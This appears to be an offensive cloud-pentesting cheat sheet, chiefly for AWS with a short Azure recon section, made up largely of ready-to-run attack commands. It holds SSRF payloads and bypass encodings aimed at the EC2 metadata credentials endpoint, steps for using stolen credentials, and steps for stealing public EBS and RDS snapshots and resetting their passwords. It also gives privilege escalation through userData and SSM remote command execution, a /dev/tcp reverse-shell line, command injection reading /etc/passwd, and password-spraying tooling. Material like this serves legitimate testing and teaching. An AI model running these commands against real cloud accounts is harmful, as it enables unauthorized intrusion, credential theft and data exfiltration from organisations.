# https://github.com/gruntwork-io/cloud-nuke
cloud-nuke aws
# Other bypasses
1.
aws eks list-clusters | jq -rc '.clusters'
["example"]
aws eks update-kubeconfig --name example
kubectl get secrets
2. SSRF AWS Bypasses to access metadata endpoint.
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
# Interesting metadata instance urls:
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
Find AWS in domain/company
# Find subdomains
./sub.sh -s example.com
assetfinder example.com
## Bruteforcing
python3 dnsrecon.py -d example.com -D subdomains-top1mil-5000.txt -t brt
# Reverse DNS lookups
host subdomain.domain.com
host IP
# Bucket finders
python3 cloud_enum.py -k example.com
ruby lazys3.rb companyname
# https://github.com/bbb31/slurp
slurp domain -t example.com
AIO AWS tools
# https://github.com/carnal0wnage/weirdAAL
pip3 install -r requirements
cp env.sample .env
vim .env
python3 weirdAAL.py -l
# https://github.com/RhinoSecurityLabs/pacu
bash install.sh
python3 pacu.py
import_keys --all
ls
# https://github.com/dagrz/aws_pwn
# Lot of scripts for different purposes, check github
# IAM resources finder
# https://github.com/BishopFox/smogcloud
smogcloud
# Red team scripts for AWS
# https://github.com/elitest/Redboto
# AWS Bloodhound
# https://github.com/lyft/cartography
# AWS Exploitation Framework
# https://github.com/grines/scour
S3
Basic Commands
aws s3 ls s3://
aws s3api list-buckets
aws s3 ls s3://bucket.com
aws s3 ls --recursive s3://bucket.com
aws s3 sync s3://bucketname s3-files-dir
aws s3 cp s3://bucket-name/<file> <destination>
aws s3 cp/mv test-file.txt s3://bucket-name
aws s3 rm s3://bucket-name/test-file.txt
aws s3api get-bucket-acl --bucket bucket-name # Check owner
aws s3api head-object --bucket bucket-name --key file.txt # Check file metadata
Find S3 buckets
# Find buckets from keyword or company name
# https://github.com/nahamsec/lazys3
ruby lazys3.rb companyname
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k companynameorkeyword
# https://github.com/gwen001/s3-buckets-finder
php s3-buckets-bruteforcer.php --bucket gwen001-test002
# Public s3 buckets
https://buckets.grayhatwarfare.com
https://github.com/eth0izzle/bucket-stream
# https://github.com/cr0hn/festin
festin mydomain.com
festin -f domains.txt
# Google dork
site:.s3.amazonaws.com "Company"
Check S3 buckets perms and files
# https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets
alias flumberbuckets='sudo python3 PATH/flumberboozle/flumberbuckets/flumberbuckets.py -p'
echo "bucket" | flumberbuckets -si -
cat hosts.txt | flumberbuckets -si -
# https://github.com/sa7mon/S3Scanner
sudo python3 s3scanner.py sites.txt
sudo python ./s3scanner.py --include-closed --out-file found.txt --dump names.txt
# https://github.com/clario-tech/s3-inspector
python s3inspector.py
# https://github.com/jordanpotti/AWSBucketDump
source /home/cloudhacker/tools/AWSBucketDump/bin/activate
touch s.txt
sed -i "s,$,-$bapname-awscloudsec,g" /home/cloudhacker/tools/AWSBucketDump/BucketNames.txt
python AWSBucketDump.py -D -l BucketNames.txt -g s.txt
# https://github.com/Ucnt/aws-s3-data-finder/
python3 find_data.py -n bucketname -u
# https://github.com/VirtueSecurity/aws-extender-cli
python3 aws_extender_cli.py -s S3 -b flaws.cloud
S3 examples attacks
# S3 Bucket Pillaging
• GOAL: Locate Amazon S3 buckets and search them for interesting data
• In this lab you will attempt to identify a publicly accessible S3 bucket hosted by an organization. After identifying it you will list out the contents of it and download the files hosted there.
~$ sudo apt-get install python3-pip
~$ git clone https://github.com/RhinoSecurityLabs/pacu
~$ cd pacu
~$ sudo bash install.sh
~$ sudo aws configure
~$ sudo python3 pacu.py
Pacu > import_keys --all
# Search by domain
Pacu > run s3__bucket_finder -d glitchcloud
# List files in bucket
Pacu > aws s3 ls s3://glitchcloud
# Download files
Pacu > aws s3 sync s3://glitchcloud s3-files-dir
# S3 Code Injection
• Backdoor JavaScript in S3 Buckets used by webapps
• In March, 2018 a crypto-miner malware was found to be loading on MSN’s homepage
• This was due to AOL’s advertising platform having a writeable S3 bucket, which was being served by MSN
• If a webapp is loading content from an S3 bucket made publicly writeable attackers can upload malicious JS to get executed by visitors
• Can perform XSS-type attacks against webapp visitors
• Hook browser with Beef
# Domain Hijacking
• Hijack S3 domain by finding references in a webapp to S3 buckets that don’t exist anymore
• Or… subdomains that were linked to an S3 bucket with CNAME’s that still exist
• When assessing webapps look for 404’s to *.s3.amazonaws.com
• When brute forcing subdomains for an org look for 404’s with ‘NoSuchBucket’ error
• Go create the S3 bucket with the same name and region
• Load malicious content to the new S3 bucket that will be executed when visitors hit the site
Enumerate read access buckets script
#!/bin/bash
for i in "$@" ; do
if [[ $i == "--profile" ]] ; then
profile=$(echo "$@" | awk '{for(i=1;i<=NF;i++) if ($i=="--profile") print $(i+1)}')
AWS_ACCESS_KEY_ID=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | head -n 1)
AWS_SECRET_ACCESS_KEY=$(cat /root/.aws/credentials | grep -i "$profile" -A 2 | grep -i = | cut -d " " -f 3 | tail -n 1)
break
fi
done
echo "Enumerating the buckets..."
aws --profile "$profile" s3 ls | cut -d ' ' -f 3 > /tmp/buckets
echo "You can read the following buckets:"
>/tmp/readBuckets
for i in $(cat /tmp/buckets); do
result=$(aws --profile "$profile" s3 ls s3://"$i" 2>/dev/null | head -n 1)
if [ ! -z "$result" ]; then
echo "$i" | tee /tmp/readBuckets
unset result
fi
done
IAM
Basic commands
# ~/.aws/credentials
[default]
aws_access_key_id = XXX
aws_secret_access_key = XXXX
export AWS_ACCESS_KEY_ID=
export AWS_SECRET_ACCESS_KEY=
export AWS_DEFAULT_REGION=
# Check valid
aws sts get-caller-identity
aws sdb list-domains --region us-east-1
# If we can steal AWS credentials, add to your configuration
aws configure --profile stolen
# Open ~/.aws/credentials
# Under the [stolen] section add aws_session_token and add the discovered token value here
aws sts get-caller-identity --profile stolen
# Get account id
aws sts get-access-key-info --access-key-id=ASIA1234567890123456
aws iam get-account-password-policy
aws sts get-session-token
aws iam list-users
aws iam list-roles
aws iam list-access-keys --user-name <username>
aws iam create-access-key --user-name <username>
aws iam list-attached-user-policies --user-name XXXX
aws iam get-policy
aws iam get-policy-version
aws deploy list-applications
aws directconnect describe-connections
aws secretsmanager get-secret-value --secret-id <value> --profile <container tokens>
aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
# IAM Prefix meaning
ABIA - AWS STS service bearer token
ACCA - Context-specific credential
AGPA - Group
AIDA - IAM user
AIPA - Amazon EC2 instance profile
AKIA - Access key
ANPA - Managed policy
ANVA - Version in a managed policy
APKA - Public key
AROA - Role
ASCA - Certificate
ASIA - Temporary (AWS STS) access key IDs use this prefix, but are unique only in combination with the secret access key and the session token.
Tools
# https://github.com/andresriancho/enumerate-iam
python enumerate-iam.py --access-key XXXXXXXXXXXXX --secret-key XXXXXXXXXXX
python enumerate-iam.py --access-key "ACCESSKEY" --secret-key "SECRETKEY" (--session-token "$AWS_SESSION_TOKEN")
# https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py
python aws_escalate.py
# https://github.com/andresriancho/nimbostratus
python2 nimbostratus dump-permissions
# https://github.com/nccgroup/ScoutSuite
python3 scout.py aws
# https://github.com/salesforce/cloudsplaining
cloudsplaining download
cloudsplaining scan
# Enumerate IAM permissions without logging (stealth mode)
# https://github.com/Frichetten/aws_stealth_perm_enum
# Unauthenticated (only account id) Enumeration of IAM Users and Roles
# https://github.com/Frichetten/enumate_iam_using_bucket_policy
# AWS Consoler
# https://github.com/NetSPI/aws_consoler
# Generate link to console from valid credentials
aws_consoler -a ASIAXXXX -s SECRETXXXX -t TOKENXXXX
# AWSRoleJuggler
# https://github.com/hotnops/AWSRoleJuggler/
# You can use one assumed role to assume another one
./find_circular_trust.py
python aws_role_juggler.py -r arn:aws:iam::123456789:role/BuildRole arn:aws:iam::123456789:role/GitRole arn:aws:iam::123456789:role/ArtiRole
# https://github.com/prisma-cloud/IAMFinder
python3 iamfinder.py init
python3 iamfinder.py enum_user --aws_id 123456789012
# https://github.com/nccgroup/PMapper
# Check IAM permissions
# https://github.com/prowler-cloud/prowler
# almost 300 checks for AWS but for pentesting and enumeraiton run:
prowler aws --categories internet-exposed
prowler aws --categories secrets
# see if there is something exposed in shodan from that account
prowler -c ec2_elastic_ip_shodan --shodan $SHODAN_API_KEY --verbose
# check for the most important checks in terms of severity
prowler aws --severity critical high
AWS IAM Cli Enumeration
# First of all, set your profile
aws configure --profile test
set profile=test # Just for convenience
# Get policies available
aws --profile "$profile" iam list-policies | jq -r ".Policies[].Arn"
# Get specific policy version
aws --profile "$profile" iam get-policy --policy-arn "$i" --query "Policy.DefaultVersionId" --output text
# Get all juicy info oneliner (search for Action/Resource */*)
profile="test"; for i in $(aws --profile "$profile" iam list-policies | jq -r '.Policies[].Arn'); do echo "Describing policy $i" && aws --profile "$profile" iam get-policy-version --policy-arn "$i" --version-id $(aws --profile "$profile" iam get-policy --policy-arn "$i" --query 'Policy.DefaultVersionId' --output text); done | tee /tmp/policies.log
#List Managed User policies
aws --profile "test" iam list-attached-user-policies --user-name "test-user"
#List Managed Group policies
aws --profile "test" iam list-attached-group-policies --group-name "test-group"
#List Managed Role policies
aws --profile "test" iam list-attached-role-policies --role-name "test-role"
#List Inline User policies
aws --profile "test" iam list-user-policies --user-name "test-user"
#List Inline Group policies
aws --profile "test" iam list-group-policies --group-name "test-group"
#List Inline Role policies
aws --profile "test" iam list-role-policies --role-name "test-role"
#Describe Inline User policies
aws --profile "test" iam get-user-policy --user-name "test-user" --policy-name "test-policy"
#Describe Inline Group policies
aws --profile "test" iam get-group-policy --group-name "test-group" --policy-name "test-policy"
#Describe Inline Role policies
aws --profile "test" iam get-role-policy --role-name "test-role" --policy-name "test-policy"
# List roles policies
aws --profile "test" iam get-role --role-name "test-role"
# Assume role from any ec2 instance (get Admin)
# Create instance profile
aws iam create-instance-profile --instance-profile-name YourNewRole-Instance-Profile
# Associate role to Instance Profile
aws iam add-role-to-instance-profile --role-name YourNewRole --instance-profile-name YourNewRole-Instance-Profile
# Associate Instance Profile with instance you want to use
aws ec2 associate-iam-instance-profile --instance-id YourInstanceId --iam-instance-profile Name=YourNewRole-Instance-Profile
# Get assumed roles in instance
aws --profile test sts get-caller-identity
# Shadow admin
aws iam list-attached-user-policies --user-name {}
aws iam get-policy-version --policy-arn provide_policy_arn --version-id $(aws iam get-policy --policy-arn provide_policy_arn --query 'Policy.DefaultVersionId' --output text)
aws iam list-user-policies --user-name {}
aws iam get-user-policy --policy-name policy_name_from_above_command --user-name {} | python -m json.tool
# Vulnerables policies:
iam:CreatUser
iam:CreateLoginProfile
iam:UpdateProfile
iam:AddUserToGroup
EBS
Find secrets in public EBS
# Dufflebag https://github.com/bishopfox/dufflebag
EBS attack example
# Discover EBS Snapshot and mount it to navigate
- Obtaning public snapshot name
aws ec2 describe-snapshots --region us-east-1 --restorable-by-user-ids all | grep -C 10 "company secrets"
- Obtaining zone and instance
aws ec2 describe-instances --filters Name=tag:Name,Values=attacker-machine
- Create a new volume of it
aws ec2 create-volume --snapshot-id snap-03616657ede4b9862 --availability-zone <ZONE-HERE>
- Attach to an EC2 instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
- It takes some time, to see the status:
aws ec2 describe-volumes --filters Name=volume-id,Values=<VOLUME-ID>
- Once is mounted in EC2 instance, check it, mount it and access it:
sudo lsblk
sudo mount /dev/xvdh1 /mnt
cd /mnt/home/user/companydata
# WeirdAAL https://github.com/carnal0wnage/weirdAAL
EC2
EC2 basic commands
# Like traditional host
- Port enumeration
- Attack interesting services like ssh or rdp
aws ec2 describe-instances
aws ssm describe-instance-information
aws ec2 describe-snapshots
aws ec2 describe-security-groups --group-ids <VPC Security Group ID> --region <region>
aws ec2 create-volume --snapshot-id snap-123123123
aws ec2 describe-snapshots --owner-ids {user-id}
# SSH into created instance:
ssh -i ".ssh/key.pem" <user>@<instance-ip>
sudo mount /dev/xvdb1 /mnt
cat /mnt/home/ubuntu/setupNginx.sh
# EC2 security group
aws ec2 describe-security-groups
aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values='0.0.0.0/0' --query "SecurityGroups[*].[GroupName]" --output text
EC2 example attacks
# SSRF to http://169.254.169.254 (Metadata server)
curl http://<ec2-ip-address>/\?url\=http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/public-hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/network/interfaces/
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key/
http://169.254.169.254/latest/user-data
# Find IAM Security Credentials
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Using EC2 instance metadata tool
ec2-metadata -h
# With EC2 Instance Meta Data Service version 2 (IMDSv2):
Append X-aws-ec2-metadata-token Header generated with a PUT request to http://169.254.169.254/latest/api/token
# Check directly for metadata instance
curl -s http://<ec2-ip-address>/latest/meta-data/ -H 'Host:169.254.169.254'
# EC2 instance connect
aws ec2 describe-instances | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE_WE_GOT_PREVIOUSLY --availability-zone zone --instance-os-user ubuntu --ssh-public-key file://shortkey.pub
# EC2 AMI - Read instance, create AMI for instance and run
aws ec2 describe-images --region specific-region
aws ec2 create-image --instance-id ID --name "EXPLOIT" --description "Export AMI" --region specific-region
aws ec2 import-key-pair --key-name "EXPLOIT" --public-key-material fileb:///publickeyfile
aws ec2 describe-images --filters "Name=name,Values=EXPLOIT"
aws ec2 run-instances --image-id {} --security-group-ids "" --subnet-id {} --count 1 --instance-type t2.micro --key-name EXPLOIT
# Create volume from snapshot & attach to instance id && mount in local
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume --volume-id above-volume-id --instance-id instance-id --device /dev/sdf
# Privesc with modify-instance-attribute
aws ec2 modify-instance-attribute --instance-id=xxx --attribute userData --value file://file.b64.txt
file.b64.txt contains (and after base64 file.txt > file.b64.txt):
```
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
**commands here** (reverse shell, set ssh keys...)
--//
```
# Privesc 2 with user data
# On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.
#!/bin/bash
aws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh
chmod +x /root/start_script.sh
/root/start_script.sh
Tools
# EC2 Shadow Copy attack
# https://github.com/Static-Flow/CloudCopy
# EC2 secrets recovery
# https://github.com/akhil-reni/ud-peep
Cloudfront
Info
Cloudfront is a CDN and it checks the HOST header in CNAMES, so:
- The domain "test.disloops.com" is a CNAME record that points to "disloops.com".
- The "disloops.com" domain is set up to use a CloudFront distribution.
- Because "test.disloops.com" was not added to the "Alternate Domain Names (CNAMEs)" field for the distribution, requests to "test.disloops.com" will fail.
- Another user can create a CloudFront distribution and add "test.disloops.com" to the "Alternate Domain Names (CNAMEs)" field to hijack the domain.
Tools
# https://github.com/MindPointGroup/cloudfrunt
git clone --recursive https://github.com/MindPointGroup/cloudfrunt
pip install -r requirements.txt
python cloudfrunt.py -o cloudfrunt.com.s3-website-us-east-1.amazonaws.com -i S3-cloudfrunt -l list.txt
AWS Lambda
Info
# Welcome to serverless!!!!
# AWS Lambda, essentially are short lived servers that run your function and provide you with output that can be then used in other applications or consumed by other endpoints.
# OS command Injection in Lambda
curl "https://API-endpoint/api/stringhere"
# For a md5 converter endpoint "https://API-endpoint/api/hello;id;w;cat%20%2fetc%2fpasswd"
aws lambda list-functions
aws lambda get-function --function-name <FUNCTION-NAME>
aws lambda get-policy
aws apigateway get-stages
# Download function code
aws lambda list-functions
aws lambda get-function --function-name name_we_retrieved_from_above --query 'Code.Location'
wget -O myfunction.zip URL_from_above_step
# Steal creds via XXE or SSRF reading:
/proc/self/environ
# If blocked try to read other vars:
/proc/[1..20]/environ
Tools
# https://github.com/puresec/lambda-proxy
# SQLMap to Lambda!!!
python3 main.py
sqlmap -r request.txt
# https://github.com/twistlock/splash
# Pseudo Lambda Shell
AWS Inspector
# Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS.
AWS RDS
Basic
aws rds describe-db-instances
Attacks
# Just like a MySQL, try for sqli!
# Check if 3306 is exposed
# Sqlmap is your friend ;)
# Stealing RDS Snapshots
- Searching partial snapshots
aws rds describe-db-snapshots --include-public --snapshot-type public --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup
- Restore in instance
aws rds restore-db-instance-from-db-snapshot --db-instance-identifier recoverdb --publicly-accessible --db-snapshot-identifier arn:aws:rds:us-east-1:159236164734:snapshot:globalbutterdbbackup --availability-zone us-east-1b
- Once restored, try to access
aws rds describe-db-instances --db-instance-identifier recoverdb
- Reset the master credentials
aws rds modify-db-instance --db-instance-identifier recoverdb --master-user-password NewPassword1 --apply-immediately
- Takes some time, you can check the status:
aws rds describe-db-instances
- Try to access it from EC2 instance which was restored
nc rds-endpoint 3306 -zvv
- If you can't see, you may open 3306:
- In RDS console, click on the recoverdb instance
- Click on the Security Group
- Add an Inbound rule for port 3306 TCP for Cloudhacker IP
- Then connect it
mysql -u <username> -p -h <rds-instance-endpoint>
ECR
Info
Amazon Elastic Container Registry - Docker container registry
aws ecr get-login
aws ecr get-login-password | docker login --username AWS --password-stdin XXXXXXXXX.dkr.ecr.eu-west-1.amazonaws.com/some-registry && docker pull XXXXXXXX.dkr.ecr.eu-west-1.amazonaws.com/docker-test:latest && docker inspect docker-test
aws ecr list-images --repository-name REPO_NAME --registry-id ACCOUNT_ID
aws ecr batch-get-image --repository-name XXXX --registry-id XXXX --image-ids imageTag=latest
aws ecr get-download-url-for-layer --repository-name XXXX --registry-id XXXX --layer-digest "sha256:XXXXX"
Tools
# After AWS credentials compromised
# https://github.com/RhinoSecurityLabs/ccat
docker run -it -v ~/.aws:/root/.aws/ -v /var/run/docker.sock:/var/run/docker.sock -v ${PWD}:/app/ rhinosecuritylabs/ccat:latest
ECS
Info
ECS - Elastic Container Service (is a container orchestration service)
AWS Cognito API
Amazon Cognito is a user identity and data synchronization service. If the website uses other AWS services (like Amazon S3, Amazon Dynamo DB, etc.) Amazon Cognito provides you with delivering temporary credentials with limited privileges that users can use to access database resources.
# Check for cognito-identity requests with GetCredentialsForIdentity
AWS Systems Manager
# AWS SSM
- The agent must be installed in the machines
- It's used to create roles and policies
# Executing commands
aws ssm describe-instance-information #Get instance
aws ssm describe-instance-information --output text --query "InstanceInformationList[*]"
- Get "ifconfig" commandId
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP config" --parameters commands=ifconfig --output text --query "Command.CommandId"
- Execute CommandID generated for ifconfig
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}"
# RCE
aws ssm send-command --document-name "AWS-RunShellScript" --comment "RCE test: whoami" --targets "Key=instanceids,Values=[instanceid]" --parameters 'commands=whoami'
aws ssm list-command-invocations --command-id "[CommandId]" --details
# Getting shell
- You already need to have reverse.sh uploaded to s3
#!/bin/bash
bash -i >& /dev/tcp/REVERSE-SHELL-CATCHER/9999 0>&1
- Start your listener
aws ssm send-command --document-name "AWS-RunRemoteScript" --instance-ids "INSTANCE-ID-HERE" --parameters '{"sourceType":["S3"],"sourceInfo":["{\"path\":\"PATH-TO-S3-SHELL-SCRIPT\"}"],"commandLine":["/bin/bash NAME-OF-SHELL-SCRIPT"]}' --query "Command.CommandId"
# Read info from SSM
aws ssm describe-parameters
aws ssm get-parameters --name <NameYouFindAbove>
# EC2 with SSM enabled leads to RCE
aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
Aws Services Summary
AWS Service | Should have been called | Use this to | It's like |
---|---|---|---|
EC2 | Amazon Virtual Servers | Host the bits of things you think of as a computer. | It's handwavy, but EC2 instances are similar to the virtual private servers you'd get at Linode, DigitalOcean or Rackspace. |
IAM | Users, Keys and Certs | Set up additional users, set up new AWS Keys and policies. | |
S3 | Amazon Unlimited FTP Server | Store images and other assets for websites. Keep backups and share files between services. Host static websites. Also, many of the other AWS services write and read from S3. | |
VPC | Amazon Virtual Colocated Rack | Overcome objections that "all our stuff is on the internet!" by adding an additional layer of security. Makes it appear as if all of your AWS services are on the same little network instead of being small pieces in a much bigger network. | If you're familar with networking: VLANs |
Lambda | AWS App Scripts | Run little self contained snippets of JS, Java or Python to do discrete tasks. Sort of a combination of a queue and execution in one. Used for storing and then executing changes to your AWS setup or responding to events in S3 or DynamoDB. | |
API Gateway | API Proxy | Proxy your apps API through this so you can throttle bad client traffic, test new versions, and present methods more cleanly. | 3Scale |
RDS | Amazon SQL | Be your app's Mysql, Postgres, and Oracle database. | Heroku Postgres |
Route53 | Amazon DNS + Domains | Buy a new domain and set up the DNS records for that domain. | DNSimple, GoDaddy, Gandi |
SES | Amazon Transactional Email | Send one-off emails like password resets, notifications, etc. You could use it to send a newsletter if you wrote all the code, but that's not a great idea. | SendGrid, Mandrill, Postmark |
Cloudfront | Amazon CDN | Make your websites load faster by spreading out static file delivery to be closer to where your users are. | MaxCDN, Akamai |
CloudSearch | Amazon Fulltext Search | Pull in data on S3 or in RDS and then search it for every instance of 'Jimmy.' | Sphinx, Solr, ElasticSearch |
DynamoDB | Amazon NoSQL | Be your app's massively scalable key valueish store. | MongoLab |
Elasticache | Amazon Memcached | Be your app's Memcached or Redis. | Redis to Go, Memcachier |
Elastic Transcoder | Amazon Beginning Cut Pro | Deal with video weirdness (change formats, compress, etc.). | |
SQS | Amazon Queue | Store data for future processing in a queue. The lingo for this is storing "messages" but it doesn't have anything to do with email or SMS. SQS doesn't have any logic, it's just a place to put things and take things out. | RabbitMQ, Sidekiq |
WAF | AWS Firewall | Block bad requests to Cloudfront protected sites (aka stop people trying 10,000 passwords against /wp-admin) | Sophos, Kapersky |
Cognito | Amazon OAuth as a Service | Give end users - (non AWS) - the ability to log in with Google, Facebook, etc. | OAuth.io |
Device Farm | Amazon Drawer of Old Android Devices | Test your app on a bunch of different IOS and Android devices simultaneously. | MobileTest, iOS emulator |
Mobile Analytics | Spot on Name, Amazon Product Managers take note | Track what people are doing inside of your app. | Flurry |
SNS | Amazon Messenger | Send mobile notifications, emails and/or SMS messages | UrbanAirship, Twilio |
CodeCommit | Amazon GitHub | Version control your code - hosted Git. | Github, BitBucket |
Code Deploy | Not bad | Get your code from your CodeCommit repo (or Github) onto a bunch of EC2 instances in a sane way. | Heroku, Capistrano |
CodePipeline | Amazon Continuous Integration | Run automated tests on your code and then do stuff with it depending on if it passes those tests. | CircleCI, Travis |
EC2 Container Service | Amazon Docker as a Service | Put a Dockerfile into an EC2 instance so you can run a website. | |
Elastic Beanstalk | Amazon Platform as a Service | Move your app hosted on Heroku to AWS when it gets too expensive. | Heroku, BlueMix, Modulus |
AppStream | Amazon Citrix | Put a copy of a Windows application on a Windows machine that people get remote access to. | Citrix, RDP |
Direct Connect | Pretty spot on actually | Pay your Telco + AWS to get a dedicated leased line from your data center or network to AWS. Cheaper than Internet out for Data. | A toll road turnpike bypassing the crowded side streets. |
Directory Service | Pretty spot on actually | Tie together other apps that need a Microsoft Active Directory to control them. | |
WorkDocs | Amazon Unstructured Files | Share Word Docs with your colleagues. | Dropbox, DataAnywhere |
WorkMail | Amazon Company Email | Give everyone in your company the same email system and calendar. | Google Apps for Domains |
Workspaces | Amazon Remote Computer | Gives you a standard windows desktop that you're remotely controlling. | |
Service Catalog | Amazon Setup Already | Give other AWS users in your group access to preset apps you've built so they don't have to read guides like this. | |
Storage Gateway | S3 pretending it's part of your corporate network | Stop buying more storage to keep Word Docs on. Make automating getting files into S3 from your corporate network easier. | |
Data Pipeline | Amazon ETL | Extract, Transform and Load data from elsewhere in AWS. Schedule when it happens and get alerts when they fail. | |
Elastic Map Reduce | Amazon Hadooper | Iterate over massive text files of raw data that you're keeping in S3. | Treasure Data |
Glacier | Really slow Amazon S3 | Make backups of your backups that you keep on S3. Also, beware the cost of getting data back out in a hurry. For long term archiving. | |
Kinesis | Amazon High Throughput | Ingest lots of data very quickly (for things like analytics or people retweeting Kanye) that you then later use other AWS services to analyze. | Kafka |
RedShift | Amazon Data Warehouse | Store a whole bunch of analytics data, do some processing, and dump it out. | |
Machine Learning | Skynet | Predict future behavior from existing data for problems like fraud detection or "people that bought x also bought y." | |
SWF | Amazon EC2 Queue | Build a service of "deciders" and "workers" on top of EC2 to accomplish a set task. Unlike SQS - logic is set up inside the service to determine how and what should happen. | IronWorker |
Snowball | AWS Big Old Portable Storage | Get a bunch of hard drives you can attach to your network to make getting large amounts (Terabytes of Data) into and out of AWS. | Shipping a Network Attached Storage device to AWS |
CloudFormation | Amazon Services Setup | Set up a bunch of connected AWS services in one go. | |
CloudTrail | Amazon Logging | Log who is doing what in your AWS stack (API calls). | |
CloudWatch | Amazon Status Pager | Get alerts about AWS services messing up or disconnecting. | PagerDuty, Statuspage |
Config | Amazon Configuration Management | Keep from going insane if you have a large AWS setup and changes are happening that you want to track. | |
OpsWorks | Amazon Chef | Handle running your application with things like auto-scaling. | |
Trusted Advisor | Amazon Pennypincher | Find out where you're paying too much in your AWS setup (unused EC2 instances, etc.). | |
Inspector | Amazon Auditor | Scans your AWS setup to determine if you've setup it up in an insecure way | Alert Logic |
AWS vs AD
Azure
Basic Info
# Azure services list by domain
https://learn.microsoft.com/en-us/azure/security/fundamentals/azure-domains
# Tools
https://github.com/dirkjanm/ROADtools
https://github.com/dafthack/PowerMeta
https://github.com/NetSPI/MicroBurst
https://github.com/nccgroup/ScoutSuite
https://github.com/hausec/PowerZure
https://github.com/fox-it/adconnectdump
https://github.com/FSecureLABS/Azurite
https://github.com/mburrough/pentestingazureapps
https://github.com/Azure/Stormspotter
https://github.com/nccgroup/azucar
https://github.com/dafthack/MSOLSpray
https://github.com/BloodHoundAD/BloodHound
https://github.com/nccgroup/Carnivore
https://github.com/CrowdStrike/CRT
https://github.com/Kyuu-Ji/Awesome-Azure-Pentest
https://github.com/cyberark/blobhunter
https://github.com/Gerenios/AADInternals
https://github.com/prowler-cloud/prowler
- Check if company is using Azure AD:
https://login.microsoftonline.com/getuserrealm.srf?login=username@COMPANY.onmicrosoft.com&xml=1
- If NameSpaceType is "Managed", the company uses Azure AD
- Enumerate Azure AD emails
https://github.com/LMGsec/o365creeper
Auth methods:
• Password Hash Synchronization
◇ Azure AD Connect
◇ On-prem service synchronizes hashed user credentials to Azure
◇ User can authenticate directly to Azure services like O365 with their internal domain credential
• Pass Through Authentication
◇ Credentials stored only on-prem
◇ On-prem agent validates authentication requests to Azure AD
◇ Allows SSO to other Azure apps without creds stored in cloud
• Active Directory Federation Services (ADFS)
◇ Credentials stored only on-prem
◇ Federated trust is setup between Azure and on-prem AD to validate auth requests to the cloud
◇ For password attacks you would have to auth to the on-prem ADFS portal instead of Azure endpoints
• Certificate-based auth
◇ Client certs for authentication to API
◇ Certificate management in legacy Azure Service Management (ASM) makes it impossible to know who created a cert (persistence potential)
◇ Service Principals can be setup with certs to auth
• Conditional access policies
• Long-term access tokens
◇ Authentication to Azure with oAuth tokens
◇ Desktop CLI tools that can be used to auth store access tokens on disk
◇ These tokens can be reused on other MS endpoints
◇ We have a lab on this later!
• Legacy authentication portals
Recon:
• O365 Usage
◇ https://login.microsoftonline.com/getuserrealm.srf?login=username@acmecomputercompany.com&xml=1
◇ https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/test@targetdomain.com?Protocol=Autodiscoverv1
• User enumeration on Azure can be performed at
https://login.Microsoft.com/common/oauth2/token
▪ This endpoint tells you if a user exists or not
◇ Detect invalid users while password spraying with:
▪ https://github.com/dafthack/MSOLSpray
◇ For on-prem OWA/EWS you can enumerate users with timing attacks (MailSniper)
